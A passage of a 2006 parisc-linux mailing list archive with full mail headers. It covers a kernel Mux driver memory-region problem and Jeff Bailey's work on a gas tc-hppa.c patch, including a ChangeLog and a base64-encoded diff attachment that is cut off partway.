	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: gVIjIeNZa0AoXL6aejEzC1A3Njh6dI5u
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24039

On Sun, Oct 22, 2006 at 10:20:57AM -0700, Ryan Bradetich wrote:
> >+        mmio_region.name = "Mux";
> >> +        mmio_region.flags = IORESOURCE_MEM;
> >> +        mmio_region.start = dev->hpa.start + MUX_OFFSET;
> >> +        mmio_region.end = dev->hpa.start + MUX_OFFSET + (ports *
> >MUX_LINE_OFFSET) - 1;
> >> +        insert_resource(&iomem_resource, &mmio_region);
> >
> >If you want to go this way, you want IORESOURCE_BUSY on the flags, but
> >you don't need to do that.  Just:
> >
> >        request_mem_region(dev->hpa.start + MUX_OFFSET,
> >                                ports * MUX_LINE_OFFSET, "Mux");
> 
> 
> I changed the Mux to use this, but it did not work as expected:
> 
> Here are the relevant lines from the boot messages:
> 
> Enabling regular chassis codes support v0.05
> 
> CPU(s): 1 x PA7100LC (PCX-L) at 64.000000MHz
> Setting cache flush threshold to 9e0 (1 CPUs
> online)
> Lasi version 0 at 0xf0100000
> found.
> LED display at f010c000
> registered
> Found GeckoBoa at
> 0xfffb8000
> 
> drivers/parisc/hppb.c: failed to claim HP-PB bus space (fff00000,
> fff7ffff)

This isn't related to the Mux though ...

> Here are the relevant lines from /proc/iomem:

The wrapping was a bit strange; i've fixed it for this reply.

> f0100000-f0100fff : 60
> f0107000-f0107fff : 60:6
> f010c000-f010c000 : led_data
> fff74000-fff74fff : 56:52
> fff75000-fff75fff : 56:53
> fff78000-fff78fff : 56:56
>  fff78800-fff78fff : Mux
> fff7c000-fff7cfff : 56:60
> 
> 
> My understanding of the error message indicates that since Lasi and the LEDS
> already reserved portions of the space
> HP-PB wants, it caused the resource failure.   This has me a bit confused on
> how the bus walk code works ... I thought the probe function on the parent
> device should have been called before the probe function on any of the
> children ... so it seem the Gecko Boa should probe function should have been
> called before the LASI and LED probe functions.
> 
> Still looking into why this happens, but hints are welcome :)

Right.  So, what's happening here is that we call
ccio_request_resource() for the region that HPPB forwards, but that
fails.  I'd like you to trace through and find out why it's failing.  It
ought to succeed -- the ranges don't seem to overlap, and the
insert_resource() should succeed.  I'd look at ccio_get_iommu() and
check that it's returning NULL on your E35.

> Thanks for the reminder.  I had to re-work this a bit since we didn't have
> the dev and ports variable in this function.  I am

Oops ;-)

> working on expanding this to handle multiple Mux cards as well.

Cool.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Bailey <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch] Remove magic constant from gas/tc-hppa.c
Date: Sun, 22 Oct 2006 19:31:40 -0400
Lines: 74
Approved: news@gmane.org
Message-ID: <1161559900.5629.37.camel__223.970253910188$1416624199$gmane$org@localhost.localdomain>
References: <200610211944.k9LJiE77010509@hiauly1.hia.nrc.ca>
	<1161466446.7854.86.camel@localhost.localdomain>
	<20061021233857.GA12282@hiauly1.hia.nrc.ca>
	<1161537558.5629.15.camel@localhost.localdomain>
	<20061022181315.GA21547@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0542292821=="
X-Trace: ger.gmane.org 1416624199 21439 80.91.229.3 (22 Nov 2014 02:43:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:19 +0000 (UTC)
Cc: binutils@sources.redhat.com,
 parisc-linux@lists.parisc-linux.org,
 matthew@wil.cx
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Oct 2006 15:38:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 27 Oct 2006 17:38:54 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2254D7D710;
	Fri, 27 Oct 2006 09:38:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29730-10; Fri, 27 Oct 2006 09:38:51 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 305D97D711;
	Fri, 27 Oct 2006 09:38:49 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B5AB07D680
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Oct 2006 17:31:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06366-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Oct 2006 17:31:49 -0600 (MDT)
Original-Received: from relais.videotron.ca (relais.videotron.ca [24.201.245.36])
	by free.linux.hp.com (Postfix) with ESMTP id 713EB7D67F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Oct 2006 17:31:49 -0600 (MDT)
Original-Received: from [192.168.223.50] ([24.203.249.139])
	by VL-MH-MR001.ip.videotron.ca
	(Sun Java System Messaging Server 6.2-2.05 (built Apr 28 2005))
	with ESMTP id <0J7K008959D0ZB10@VL-MH-MR001.ip.videotron.ca> for
	parisc-linux@lists.parisc-linux.org;
	Sun, 22 Oct 2006 19:31:48 -0400 (EDT)
In-reply-to: <20061022181315.GA21547@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.8.1
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: WGwIAtoQa2A7W7vDOHQyMVEyOWhhagea
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24040


--===============0542292821==
Content-type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="=-jf33ZoXVf0oEp4QDfkzs"


--=-jf33ZoXVf0oEp4QDfkzs
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

Le dimanche 22 octobre 2006 =C3=A0 14:13 -0400, John David Anglin a =C3=A9c=
rit :
> > +  {"%fr10",  bfd_mach_hppa10,  10 + FP_REG_BASE},
> > +  {"%fr10l", bfd_mach_hppa10,  10 + FP_REG_BASE},
> > +  {"%fr10r", bfd_mach_hppa10,  10 + FP_REG_BASE + FP_REG_RSEL},
>=20
> The "fr" entries needs more work now that you have added bfd_mach
> values.  bfd_mach_hppa10 only had 16 FP registers (0 to 15) and
> the left and right halves were not accessible.  In bfd_mach_hppa11,
> 16 additional FP registers were added and the left and right
> halves became independently accessible.

Thanks, I've updated the table with this now.  It occurs to me that I'm
initializing the table too early, though.  A LEVEL op would come too
late to do anything.  I'll rework the logic on that before I resend.

> > +#  ifdef TE_NetBSD
> > +#  define ELF_TARGET_FORMAT       "elf32-hppa-netbsd"
> > +#  define ELF64_TARGET_FORMAT     "elf64-hppa-linux"
>=20
> The above line appears to be a typo.  However, the elf64-hppa-netbsd
> output format isn't defined yet.

The current tc-hppa.c has:

#if TARGET_ARCH_SIZE =3D=3D 64
#include "bfd/elf64-hppa.h"
#if defined (TE_LINUX) || defined (TE_NetBSD)
#define TARGET_FORMAT "elf64-hppa-linux"

So this preserves current behaviour.

--
Jeff Bailey - http://www.raspberryginger.com/jbailey/

--=-jf33ZoXVf0oEp4QDfkzs
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: Ceci est une partie de message
	=?ISO-8859-1?Q?num=E9riquement?= =?ISO-8859-1?Q?_sign=E9e?=

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.3 (GNU/Linux)

iD8DBQBFO/9c5M5hmdCYCpkRAu00AKDE0mCEJOZdYpiGUWQvfZb3y6FDmACeMsCB
X/DzKHGpMqc5/4y2MjDrsm8=
=rhSf
-----END PGP SIGNATURE-----

--=-jf33ZoXVf0oEp4QDfkzs--


--===============0542292821==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0542292821==--



From - Thu Nov 08 21:35:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Bailey <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Evening snapshot of gas patch
Date: Sun, 22 Oct 2006 23:24:37 -0400
Lines: 610
Approved: news@gmane.org
Message-ID: <1161573877.5629.50.camel@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1628382915=="
X-Trace: ger.gmane.org 1416624199 21440 80.91.229.3 (22 Nov 2014 02:43:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:19 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Oct 2006 15:40:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx037) with SMTP; 27 Oct 2006 17:40:25 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DCC057D7C0;
	Fri, 27 Oct 2006 09:40:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29974-10; Fri, 27 Oct 2006 09:40:15 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 819F97D7C1;
	Fri, 27 Oct 2006 09:40:11 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 513D17D66D
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Oct 2006 21:24:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08970-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Oct 2006 21:24:49 -0600 (MDT)
Original-Received: from relais.videotron.ca (relais.videotron.ca [24.201.245.36])
	by free.linux.hp.com (Postfix) with ESMTP id C051F7D666
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Oct 2006 21:24:48 -0600 (MDT)
Original-Received: from [192.168.223.50] ([24.203.249.139])
	by VL-MO-MR004.ip.videotron.ca
	(Sun Java System Messaging Server 6.2-2.05 (built Apr 28 2005))
	with ESMTP id <0J7K00DDPK5A6RE0@VL-MO-MR004.ip.videotron.ca> for
	parisc-linux@lists.parisc-linux.org;
	Sun, 22 Oct 2006 23:24:47 -0400 (EDT)
X-Mailer: Evolution 2.8.1
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: WxB0dKJEYmYSfenCanc3eENKWkZTQdQ0
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24041


--===============1628382915==
Content-type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="=-3PWOcOdWbBj5LdvabaGq"


--=-3PWOcOdWbBj5LdvabaGq
Content-Type: multipart/mixed; boundary="=-57XZxrUUtIsbT7d1FKBe"


--=-57XZxrUUtIsbT7d1FKBe
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

This version of the patch is not suitable for inclusion, not sending it
to the binutils list. =20

The remaining unaddressed problem (until you guys find more, that is
*g*) is that the way I've done the hash table it gets setup once when
gas is started.  This means that a LEVEL directive comes too late to
change the registers table.  Nothing brilliant has come to mind yet for
a good way to solve this, but I'm back to my work week tomorrow, so
hopefully over the next few days something will pop into my head.

2006-10-21  Jeff Bailey  <jbailey@raspberryginger.com>

        * config/tc-hppa.c: Do not define DEFAULT_LEVEL.
        Add variables for architecture size.
        Add mach member to struct pd_reg and populate pre_defined_registers=
.
        (need_pa11_opcode): Use bfd_mach_hppa11 instead of pa11 for
        consistency.
        (need_pa11_opcode): Use defines from bfd.h instead of magic numbers=
.
        (pa_ip): Likewise.
        (pa_level): Likewise.
        (pa_parse_number): Use binutils hash instead of home-brew one.
        (md_begin): Use defines from bfd.h instead of DEFAULT_LEVEL.
        (init_default_arch): New function.
        (hppa_target_format): New function.
        (hppa_print_statistics): New function.
        (reg_name_search): Removed.
        (setup_reg_hash): New function.

        * config/tc-hppa.h: Redefine TARGET_FORMAT as hppa_target_format()
        and in terms of ELF_TARGET_FORMAT and ELF64_TARGET_FORMAT for OBJ_E=
LF.
        Remove extra definitions of TRUE and FALSE.
        Use elf64-hppa for 64 bit NetBSD.

        * configure.in: Define DEFAULT_ARCH for hppa.
        * configure.tgt: Specify arch for hppa and hppa64.

--
Jeff Bailey - http://www.raspberryginger.com/jbailey/

--=-57XZxrUUtIsbT7d1FKBe
Content-Disposition: attachment; filename=gas-hppa.diff
Content-Type: text/x-patch; name=gas-hppa.diff; charset=UTF-8
Content-Transfer-Encoding: base64

SW5kZXg6IGNvbmZpZ3VyZS5pbg0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KUkNTIGZpbGU6IC9jdnMvc3JjL3NyYy9n
YXMvY29uZmlndXJlLmluLHYNCnJldHJpZXZpbmcgcmV2aXNpb24gMS4xOTQNCmRpZmYgLXUgLXAg
LXIxLjE5NCBjb25maWd1cmUuaW4NCi0tLSBjb25maWd1cmUuaW4JMjAgU2VwIDIwMDYgMTE6MzU6
MTEgLTAwMDAJMS4xOTQNCisrKyBjb25maWd1cmUuaW4JMjMgT2N0IDIwMDYgMDM6MTE6MzQgLTAw
MDANCkBAIC0zMjUsNyArMzI1LDcgQEAgY2hhbmdlcXVvdGUoWyxdKWRubA0KICAgICAgICAgdXNp
bmdfY2dlbj15ZXMNCiAJOzsNCiANCi0gICAgICBpMzg2IHwgczM5MCB8IHNwYXJjKQ0KKyAgICAg
IGkzODYgfCBzMzkwIHwgc3BhcmMgfCBocHBhKQ0KIAlpZiB0ZXN0ICR0aGlzX3RhcmdldCA9ICR0
YXJnZXQgOyB0aGVuDQogCSAgQUNfREVGSU5FX1VOUVVPVEVEKERFRkFVTFRfQVJDSCwgIiR7YXJj
aH0iLCBbRGVmYXVsdCBhcmNoaXRlY3R1cmUuXSkNCiAJZmkNCkluZGV4OiBjb25maWd1cmUudGd0
DQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09DQpSQ1MgZmlsZTogL2N2cy9zcmMvc3JjL2dhcy9jb25maWd1cmUudGd0LHYN
CnJldHJpZXZpbmcgcmV2aXNpb24gMS4yOQ0KZGlmZiAtdSAtcCAtcjEuMjkgY29uZmlndXJlLnRn
dA0KLS0tIGNvbmZpZ3VyZS50Z3QJMjAgU2VwIDIwMDYgMTE6MzU6MTEgLTAwMDAJMS4yOQ0KKysr
IGNvbmZpZ3VyZS50Z3QJMjMgT2N0IDIwMDYgMDM6MTE6MzQgLTAwMDANCkBAIC0zNyw3ICszNyw4
IEBAIGNhc2UgJHtjcHV9IGluDQogICBjNHgqKQkJCWNwdV90eXBlPXRpYzR4IDs7DQogICBjcmlz
djMyKQkJY3B1X3R5cGU9Y3JpcyBhcmNoPWNyaXN2MzIgOzsNCiAgIGNyeCopCQkJY3B1X3R5cGU9
Y3J4IGVuZGlhbj1saXR0bGUgOzsNCi0gIGhwcGEqKQkJY3B1X3R5cGU9aHBwYSA7Ow0KKyAgaHBw
YSkJCQljcHVfdHlwZT1ocHBhIGFyY2g9aHBwYTs7DQorICBocHBhNjQpCQljcHVfdHlwZT1ocHBh
IGFyY2g9aHBwYTY0OzsNCiAgIGlbMy03XTg2KQkJY3B1X3R5cGU9aTM4NiBhcmNoPWkzODY7Ow0K
ICAgaWE2NCkJCQljcHVfdHlwZT1pYTY0IDs7DQogICBpcDJrKQkJCWNwdV90eXBlPWlwMmsgZW5k
aWFuPWJpZyA7OyANCkluZGV4OiBjb25maWcvdGMtaHBwYS5jDQo9PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpSQ1MgZmls
ZTogL2N2cy9zcmMvc3JjL2dhcy9jb25maWcvdGMtaHBwYS5jLHYNCnJldHJpZXZpbmcgcmV2aXNp
b24gMS4xMzINCmRpZmYgLXUgLXAgLXIxLjEzMiB0Yy1ocHBhLmMNCi0tLSBjb25maWcvdGMtaHBw
YS5jCTcgSnVuIDIwMDYgMTE6Mjc6NTcgLTAwMDAJMS4xMzINCisrKyBjb25maWcvdGMtaHBwYS5j
CTIzIE9jdCAyMDA2IDAzOjExOjM0IC0wMDAwDQpAQCAtNDQsNiArNDQsMTggQEAgZXJyb3Igb25s
eSBvbmUgb2YgT0JKX0VMRiBhbmQgT0JKX1NPTSBjYQ0KIC8qIEEgImNvbnZlbmllbnQiIHBsYWNl
IHRvIHB1dCBvYmplY3QgZmlsZSBkZXBlbmRlbmNpZXMgd2hpY2ggZG8NCiAgICBub3QgbmVlZCB0
byBiZSBzZWVuIG91dHNpZGUgb2YgdGMtaHBwYS5jLiAgKi8NCiANCisvKiBFaXRoZXIgMzIgb3Ig
NjQsIHNlbGVjdHMgZmlsZSBmb3JtYXQuICovDQorc3RhdGljIGludCBocHBhX2FyY2hfc2l6ZTsN
CisNCisvKiBTdG9yZSB0aGUgQkZEIG1hY2hpbmUgdHlwZSAqLw0KK3N0YXRpYyB1bnNpZ25lZCBs
b25nIGJmZF9tYWNoOw0KKw0KKy8qIFRoZSBkZWZhdWx0IGFyY2hpdGVjdHVyZSAqLw0KKyNpZm5k
ZWYgREVGQVVMVF9BUkNIDQorI2RlZmluZSBERUZBVUxUX0FSQ0ggImhwcGEiDQorI2VuZGlmDQor
c3RhdGljIGNoYXIgKmRlZmF1bHRfYXJjaCA9IERFRkFVTFRfQVJDSDsNCisNCiAvKiBPYmplY3Qg
ZmlsZSBmb3JtYXRzIHNwZWNpZnkgcmVsb2NhdGlvbiB0eXBlcy4gICovDQogdHlwZWRlZiBlbnVt
IGVsZl9ocHBhX3JlbG9jX3R5cGUgcmVsb2NfdHlwZTsNCiANCkBAIC01MiwxNCArNjQsOSBAQCB0
eXBlZGVmIGVsZl9zeW1ib2xfdHlwZSBvYmpfc3ltYm9sX3R5cGU7DQogI2RlZmluZSBzeW1ib2xf
YXJnX3JlbG9jX2luZm8oc3ltKVwNCiAgICgoKG9ial9zeW1ib2xfdHlwZSAqKSBzeW1ib2xfZ2V0
X2JmZHN5bSAoc3ltKSktPnRjX2RhdGEuaHBwYV9hcmdfcmVsb2MpDQogDQotI2lmIFRBUkdFVF9B
UkNIX1NJWkUgPT0gNjQNCi0vKiBIb3cgdG8gZ2VuZXJhdGUgYSByZWxvY2F0aW9uLiAgKi8NCi0j
ZGVmaW5lIGhwcGFfZ2VuX3JlbG9jX3R5cGUgX2JmZF9lbGY2NF9ocHBhX2dlbl9yZWxvY190eXBl
DQotI2RlZmluZSBlbGZfaHBwYV9yZWxvY19maW5hbF90eXBlIGVsZjY0X2hwcGFfcmVsb2NfZmlu
YWxfdHlwZQ0KLSNlbHNlDQotI2RlZmluZSBocHBhX2dlbl9yZWxvY190eXBlIF9iZmRfZWxmMzJf
aHBwYV9nZW5fcmVsb2NfdHlwZQ0KLSNkZWZpbmUgZWxmX2hwcGFfcmVsb2NfZmluYWxfdHlwZSBl
bGYzMl9ocHBhX3JlbG9jX2ZpbmFsX3R5cGUNCi0jZW5kaWYNCisvKiBGdW5jdGlvbiBwb2ludGVy
IHRvIHRlbGwgdXMgaG93IHRvIGdlbmVyYXRlIGEgcmVsb2NhdGlvbi4gICovDQorZWxmX2hwcGFf
cmVsb2NfdHlwZSoqICgqaHBwYV9nZW5fcmVsb2NfdHlwZSkoYmZkKiwgZWxmX2hwcGFfcmVsb2Nf
dHlwZSwgaW50LCB1bnNpZ25lZCBpbnQsIGludCwgYXN5bWJvbCopOw0KK2VsZl9ocHBhX3JlbG9j
X3R5cGUgKCplbGZfaHBwYV9yZWxvY19maW5hbF90eXBlKShiZmQqLCBlbGZfaHBwYV9yZWxvY190
eXBlLCBpbnQsIHVuc2lnbmVkIGludCk7DQogDQogLyogRUxGIG9iamVjdHMgY2FuIGhhdmUgdmVy
c2lvbnMsIGJ1dCBhcHBhcmVudGx5IGRvIG5vdCBoYXZlIGFueXdoZXJlDQogICAgdG8gc3RvcmUg
YSBjb3B5cmlnaHQgc3RyaW5nLiAgKi8NCkBAIC0xMDUsMTIgKzExMiw2IEBAIHR5cGVkZWYgc29t
X3N5bWJvbF90eXBlIG9ial9zeW1ib2xfdHlwZTsNCiAjZW5kaWYNCiAjZW5kaWYgLyogT0JKX1NP
TSAqLw0KIA0KLSNpZiBUQVJHRVRfQVJDSF9TSVpFID09IDY0DQotI2RlZmluZSBERUZBVUxUX0xF
VkVMIDI1DQotI2Vsc2UNCi0jZGVmaW5lIERFRkFVTFRfTEVWRUwgMTANCi0jZW5kaWYNCi0NCiAv
KiBWYXJpb3VzIHN0cnVjdHVyZXMgYW5kIHR5cGVzIHVzZWQgaW50ZXJuYWxseSBpbiB0Yy1ocHBh
LmMuICAqLw0KIA0KIC8qIFVud2luZCB0YWJsZSBhbmQgZGVzY3JpcHRvci4gIEZJWE1FOiBTeW5j
IHRoaXMgd2l0aCBHREIgdmVyc2lvbi4gICovDQpAQCAtNDY2LDYgKzQ2Nyw3IEBAIHN0cnVjdCBo
cHBhX2ZpeF9zdHJ1Y3QNCiBzdHJ1Y3QgcGRfcmVnDQogICB7DQogICAgIGNoYXIgKm5hbWU7DQor
ICAgIHVuc2lnbmVkIGxvbmcgbWFjaDsNCiAgICAgaW50IHZhbHVlOw0KICAgfTsNCiANCkBAIC00
ODUsNiArNDg3LDEyIEBAIHN0cnVjdCBzZWxlY3Rvcl9lbnRyeQ0KICAgICBpbnQgZmllbGRfc2Vs
ZWN0b3I7DQogICB9Ow0KIA0KKy8qIFNldHVwIGFyY2hpdGVjdHVyZSBpbmZvcm1hdGlvbiBmb3Ig
MzIgb3IgNjQgYml0ICovDQorc3RhdGljIHZvaWQgaW5pdF9kZWZhdWx0X2FyY2ggKHZvaWQpOw0K
Kw0KKy8qIFNldHVwIHJlZ2lzdGVyIGhhc2gsIGNhbGxlZCBmcm9tIGluaXRfZGVmYXVsdF9hcmNo
ICovDQorc3RhdGljIHZvaWQgc2V0dXBfcmVnX2hhc2ggKHZvaWQpOw0KKw0KIC8qIFByb3RvdHlw
ZXMgZm9yIGZ1bmN0aW9ucyBsb2NhbCB0byB0Yy1ocHBhLmMuICAqLw0KIA0KICNpZmRlZiBPQkpf
U09NDQpAQCAtNjYxLDIyNiArNjY5LDIyOSBAQCBzdGF0aWMgaW50IHByaW50X2Vycm9ycyA9IDE7
DQogICAgQWxtb3N0IGV2ZXJ5IGNvbnRyb2wgcmVnaXN0ZXIgaGFzIGEgc3lub255bTsgdGhleSBh
cmUgbm90IGxpc3RlZA0KICAgIGhlcmUgZm9yIGJyZXZpdHkuDQogDQotICAgVGhlIHRhYmxlIGlz
IHNvcnRlZC4gU3VpdGFibGUgZm9yIHNlYXJjaGluZyBieSBhIGJpbmFyeSBzZWFyY2guICAqLw0K
KyAgIFRoZSB0YWJsZSBpcyBzb3J0ZWQsIGJ1dCBtaWdodCBoYXZlIGR1cGxpY2F0ZSBuYW1lcyBp
ZiBhIHJlZ2lzdGVyDQorICAgaXMgZGVmaW5lZCBkaWZmZXJlbnRseSBmb3IgZGlmZmVyZW50IG1h
Y2hpbmVzLiAgU2VlIG1ycCBmb3IgYW4NCisgICBleGFtcGxlLiAgVGhlIG1vcmUgZ2VuZXJhbGx5
IHN1cHBvcnRlZCByZWdpc3RlciBkZWZpbml0aW9ucyBtdXN0DQorICAgY29tZSBMQVNULiAqLw0K
IA0KIHN0YXRpYyBjb25zdCBzdHJ1Y3QgcGRfcmVnIHByZV9kZWZpbmVkX3JlZ2lzdGVyc1tdID0N
CiB7DQotICB7IiVhcmcwIiwgIDI2fSwNCi0gIHsiJWFyZzEiLCAgMjV9LA0KLSAgeyIlYXJnMiIs
ICAyNH0sDQotICB7IiVhcmczIiwgIDIzfSwNCi0gIHsiJWNyMCIsICAgIDB9LA0KLSAgeyIlY3Ix
MCIsICAxMH0sDQotICB7IiVjcjExIiwgIDExfSwNCi0gIHsiJWNyMTIiLCAgMTJ9LA0KLSAgeyIl
Y3IxMyIsICAxM30sDQotICB7IiVjcjE0IiwgIDE0fSwNCi0gIHsiJWNyMTUiLCAgMTV9LA0KLSAg
eyIlY3IxNiIsICAxNn0sDQotICB7IiVjcjE3IiwgIDE3fSwNCi0gIHsiJWNyMTgiLCAgMTh9LA0K
LSAgeyIlY3IxOSIsICAxOX0sDQotICB7IiVjcjIwIiwgIDIwfSwNCi0gIHsiJWNyMjEiLCAgMjF9
LA0KLSAgeyIlY3IyMiIsICAyMn0sDQotICB7IiVjcjIzIiwgIDIzfSwNCi0gIHsiJWNyMjQiLCAg
